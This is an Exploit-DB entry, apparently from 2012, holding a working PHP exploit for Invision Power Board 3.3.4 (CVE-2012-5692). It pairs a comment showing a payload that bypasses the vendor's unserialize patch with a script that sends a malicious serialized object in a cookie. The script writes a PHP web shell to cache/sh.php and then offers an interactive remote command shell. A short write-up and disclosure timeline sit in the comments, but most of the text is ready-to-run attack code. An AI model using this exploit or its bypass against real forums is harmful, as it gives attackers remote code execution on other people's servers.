Invision Power Board (IP.Board) 3.3.4 - Unserialize Regex Bypass

EDB-ID:

22547

Author:

webDEViL

Type:

webapps

Platform:

PHP

Published:

2012-11-07

<?php
/*

So this is the patch that sanitizes,
static public function safeUnserialize( $serialized )
    {
        // unserialize will return false for object declared with small cap o
        // as well as if there is any ws between O and :
        if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false )
        {
            if ( strpos( $serialized, 'O:' ) === false )
            {
                // the easy case, nothing to worry about
                // let unserialize do the job
                return @unserialize( $serialized );
            }
            else if ( ! preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized ) )
            {
                // in case we did have a string with O: in it,
                // but it was not a true serialized object
                return @unserialize( $serialized );
            }
        }
 
        return false;
    }
    

And this is what bypasses it ( By @i0n1c )
$payload = urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"cache/sh.php";}}}');

Which makes this an IPB 0day. lulz!

- webDEViL

*/

/*
    ----------------------------------------------------------------
    Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution
    ----------------------------------------------------------------
    
    author..............: Egidio Romano aka EgiX
    mail................: n0b0d13s[at]gmail[dot]com
    software link.......: http://www.invisionpower.com/
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php
    
    4015.        static public function get($name)
    4016.        {
    4017.            // Check internal data first
    4018.            if ( isset( self::$_cookiesSet[ $name ] ) )
    4019.            {
    4020.                return self::$_cookiesSet[ $name ];
    4021.            }
    4022.            else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) )
    4023.            {
    4024.                $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ];
    4025.    
    4026.                if ( substr( $_value, 0, 2 ) == 'a:' )
    4027.                {
    4028.                    return unserialize( stripslashes( urldecode( $_value ) ) );
    4029.                }
    
    The vulnerability is caused due to this method unserialize user input passed through cookies without a proper
    sanitization. The only one check is done at line 4026,  where is controlled that the serialized string starts
    with 'a:',  but this is not  sufficient to prevent a  "PHP Object Injection"  because an attacker may send  a
    serialized string which represents an array of objects.  This can be  exploited to execute arbitrary PHP code
    via the  "__destruct()" method of the  "dbMain" class,  which calls the "writeDebugLog" method to write debug
    info into a file.  PHP code may  be injected  only through the  $_SERVER['QUERY_STRING']  variable,  for this
    reason successful exploitation of this vulnerability requires short_open_tag to be enabled.

    [-] Disclosure timeline:
    
    [21/10/2012] - Vulnerability discovered
    [23/10/2012] - Vendor notified
    [25/10/2012] - Patch released: http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-security-update
    [25/10/2012] - CVE number requested
    [29/10/2012] - Assigned CVE-2012-5692
    [31/10/2012] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set('default_socket_timeout', 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");
    fputs($sock, $packet);
    return stream_get_contents($sock);
}

print "\n+-----------------------------------+";
print "\n| Invision Power Board 0day Exploit |";
print "\n+-----------------------------------+\n";

if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /ipb/\n";
    die();
}

list($host, $path) = array($argv[1], $argv[2]);

$packet  = "GET {$path}index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
    
$_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ?  $m[1] : '';

class db_driver_mysql
{
    public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php');
}
# Super bypass by @i0n1c
$payload = urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"cache/sh.php";}}}');
$phpcode = '<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>';

$packet  = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$_prefix}member_id={$payload}\r\n";
$packet .= "Connection: close\r\n\r\n";

http_send($host, $packet);

$packet  = "GET {$path}cache/sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

if (preg_match('/<\?error/', http_send($host, $packet))) die("\n[-] short_open_tag disabled!\n");

while(1)
{
    print "\nipb-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
?>